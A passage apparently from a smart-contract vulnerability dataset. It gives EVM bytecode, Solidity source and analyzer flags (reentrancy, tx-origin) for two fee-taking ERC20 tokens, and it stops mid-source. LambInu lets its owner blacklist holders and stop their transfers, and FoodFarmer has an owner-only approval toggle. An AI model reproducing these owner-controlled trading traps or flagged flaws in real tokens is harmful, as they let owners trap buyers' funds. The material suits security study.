565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d38fca1ae40e9eb6105f423916e8edcff43eac459d950ae3a26e0b49aa12896d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,041
0xf549432e7afe2fcfc74f07f6dc472a20442247c9
/** 🟢BuyTax: 6% 🟢SellTax: 6% 🟢MaxBuy: 1% 🟢MaxWallet: 2% Tg: https://t.me/LambInuErc Website: https://Lambinu.com */ pragma solidity ^0.8.10; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LambInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "LambInu"; string private constant _symbol = "LambInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x7bBAFC492Eedab59471ad7790BFb2328fb0ECcf1); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; _maxWalletSize = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610308578063b87f137a14610328578063c3c8cd8014610348578063c9567bf91461035d578063dd62ed3e1461037257600080fd5b806370a0823114610296578063715018a6146102b6578063751039fc146102cb5780638da5cb5b146102e057806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610205578063313ce567146102255780635932ead114610241578063677daa57146102615780636fc3eaec1461028157600080fd5b806306fdde031461012f578063095ea7b31461016e57806318160ddd1461019e5780631b3f71ae146101c357806323b872dd146101e557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260078152664c616d62496e7560c81b6020820152905161016591906116db565b60405180910390f35b34801561017a57600080fd5b5061018e610189366004611755565b6103b8565b6040519015158152602001610165565b3480156101aa57600080fd5b50670de0b6b3a76400005b604051908152602001610165565b3480156101cf57600080fd5b506101e36101de366004611797565b6103cf565b005b3480156101f157600080fd5b5061018e61020036600461185c565b61046e565b34801561021157600080fd5b506101e361022036600461189d565b6104d7565b34801561023157600080fd5b5060405160098152602001610165565b34801561024d57600080fd5b506101e361025c3660046118c8565b610522565b34801561026d57600080fd5b506101e361027c3660046118e5565b61056a565b34801561028d57600080fd5b506101e36105c4565b3480156102a257600080fd5b506101b56102b136600461189d565b6105f1565b3480156102c257600080fd5b506101e3610613565b3480156102d757600080fd5b506101e3610687565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610165565b34801561031457600080fd5b5061018e610323366004611755565b6106c4565b34801561033457600080fd5b506101e36103433660046118e5565b6106d1565b34801561035457600080fd5b506101e3610725565b34801561036957600080fd5b506101e361075b565b34801561037e57600080fd5b506101b561038d3660046118fe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c5338484610adc565b5060015b92915050565b6000546001600160a01b031633146104025760405162461bcd60e51b81526004016103f990611937565b60405180910390fd5b60005b815181101561046a576001600660008484815181106104265761042661196c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061046281611998565b915050610405565b5050565b600061047b848484610c00565b6104cd84336104c885604051806060016040528060288152602001611afd602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061100a565b610adc565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016103f990611937565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016103f990611937565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016103f990611937565b600081116105a157600080fd5b6105be60646105b8670de0b6b3a764000084611044565b906110ca565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e457600080fd5b476105ee8161110c565b50565b6001600160a01b0381166000908152600260205260408120546103c990611146565b6000546001600160a01b0316331461063d5760405162461bcd60e51b81526004016103f990611937565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b15760405162461bcd60e51b81526004016103f990611937565b670de0b6b3a7640000600f819055601055565b60006103c5338484610c00565b6000546001600160a01b031633146106fb5760405162461bcd60e51b81526004016103f990611937565b6000811161070857600080fd5b61071f60646105b8670de0b6b3a764000084611044565b60105550565b600c546001600160a01b0316336001600160a01b03161461074557600080fd5b6000610750306105f1565b90506105ee816111c3565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016103f990611937565b600e54600160a01b900460ff16156107df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f9565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081b3082670de0b6b3a7640000610adc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087d91906119b3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee91906119b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f91906119b3565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d719473061098f816105f1565b6000806109a46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a0c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3191906119d0565b5050600e8054662386f26fc10000600f5566470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ab8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046a91906119fe565b6001600160a01b038316610b3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610cc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b60008111610d285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b6000600a556006600b55610d446000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610d7357506000546001600160a01b03838116911614155b15610ffa576001600160a01b03831660009081526006602052604090205460ff16158015610dba57506001600160a01b03821660009081526006602052604090205460ff16155b610dc357600080fd5b600e546001600160a01b038481169116148015610dee5750600d546001600160a01b03838116911614155b8015610e1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610e285750600e54600160b81b900460ff165b15610f2d57600f54811115610e7f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b60105481610e8c846105f1565b610e969190611a1b565b1115610ee45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6001600160a01b0382166000908152600760205260409020544211610f0857600080fd5b610f1342601e611a1b565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f585750600d546001600160a01b03848116911614155b8015610f7d57506001600160a01b03831660009081526005602052604090205460ff16155b15610f8d576000600a556006600b555b6000610f98306105f1565b600e54909150600160a81b900460ff16158015610fc35750600e546001600160a01b03858116911614155b8015610fd85750600e54600160b01b900460ff165b15610ff857610fe6816111c3565b478015610ff657610ff64761110c565b505b505b61100583838361133d565b505050565b6000818484111561102e5760405162461bcd60e51b81526004016103f991906116db565b50600061103b8486611a33565b95945050505050565b600082611053575060006103c9565b600061105f8385611a4a565b90508261106c8583611a69565b146110c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b60006110c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611348565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561046a573d6000803e3d6000fd5b60006008548211156111ad5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f9565b60006111b7611376565b90506110c383826110ca565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120b5761120b61196c565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906119b3565b8160018151811061129b5761129b61196c565b6001600160a01b039283166020918202929092010152600d546112c19130911684610adc565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fa908590600090869030904290600401611a8b565b600060405180830381600087803b15801561131457600080fd5b505af1158015611328573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b611005838383611399565b600081836113695760405162461bcd60e51b81526004016103f991906116db565b50600061103b8486611a69565b6000806000611383611490565b909250905061139282826110ca565b9250505090565b6000806000806000806113ab876114d0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113dd908761152d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461140c908661156f565b6001600160a01b03891660009081526002602052604090205561142e816115ce565b6114388483611618565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147d91815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a76400006114ab82826110ca565b8210156114c757505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114ed8a600a54600b5461163c565b92509250925060006114fd611376565b905060008060006115108e87878761168b565b919e509c509a509598509396509194505050505091939550919395565b60006110c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100a565b60008061157c8385611a1b565b9050838110156110c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b60006115d8611376565b905060006115e68383611044565b30600090815260026020526040902054909150611603908261156f565b30600090815260026020526040902055505050565b600854611625908361152d565b600855600954611635908261156f565b6009555050565b600080808061165060646105b88989611044565b9050600061166360646105b88a89611044565b9050600061167b826116758b8661152d565b9061152d565b9992985090965090945050505050565b600080808061169a8886611044565b905060006116a88887611044565b905060006116b68888611044565b905060006116c882611675868661152d565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611708578581018301518582016040015282016116ec565b8181111561171a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105ee57600080fd5b803561175081611730565b919050565b6000806040838503121561176857600080fd5b823561177381611730565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117aa57600080fd5b823567ffffffffffffffff808211156117c257600080fd5b818501915085601f8301126117d657600080fd5b8135818111156117e8576117e8611781565b8060051b604051601f19603f8301168101818110858211171561180d5761180d611781565b60405291825284820192508381018501918883111561182b57600080fd5b938501935b828510156118505761184185611745565b84529385019392850192611830565b98975050505050505050565b60008060006060848603121561187157600080fd5b833561187c81611730565b9250602084013561188c81611730565b929592945050506040919091013590565b6000602082840312156118af57600080fd5b81356110c381611730565b80151581146105ee57600080fd5b6000602082840312156118da57600080fd5b81356110c3816118ba565b6000602082840312156118f757600080fd5b5035919050565b6000806040838503121561191157600080fd5b823561191c81611730565b9150602083013561192c81611730565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119ac576119ac611982565b5060010190565b6000602082840312156119c557600080fd5b81516110c381611730565b6000806000606084860312156119e557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a1057600080fd5b81516110c3816118ba565b60008219821115611a2e57611a2e611982565b500190565b600082821015611a4557611a45611982565b500390565b6000816000190483118215151615611a6457611a64611982565b500290565b600082611a8657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611adb5784516001600160a01b031683529383019391830191600101611ab6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220771ced803ffcc47a0bfdb5205ed6e0b09bc4d5776d64cd2c94a3113e74ce0adc64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,042
0x48FdC6Cc467bfCc46EbC45eb739e55EF4B37f10d
/** *Submitted for verification at Etherscan.io on 2022-01-30 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FoodFarmer is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"FoodFarmer.Finance"; string private constant _symbol = unicode"FFF"; uint8 private constant _decimals = 18; uint256 private _taxFee = 2; uint256 private _teamFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress = payable(0x306B45e88918AEffAF1386cb22aB893Bbebecbb3); address payable private _marketingWalletAddress = payable(0x306B45e88918AEffAF1386cb22aB893Bbebecbb3); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private isApproved = true; bool private _noTaxMode = false; bool private inSwap = false; // uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function Approve(bool status) external onlyOwner { isApproved = status; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function 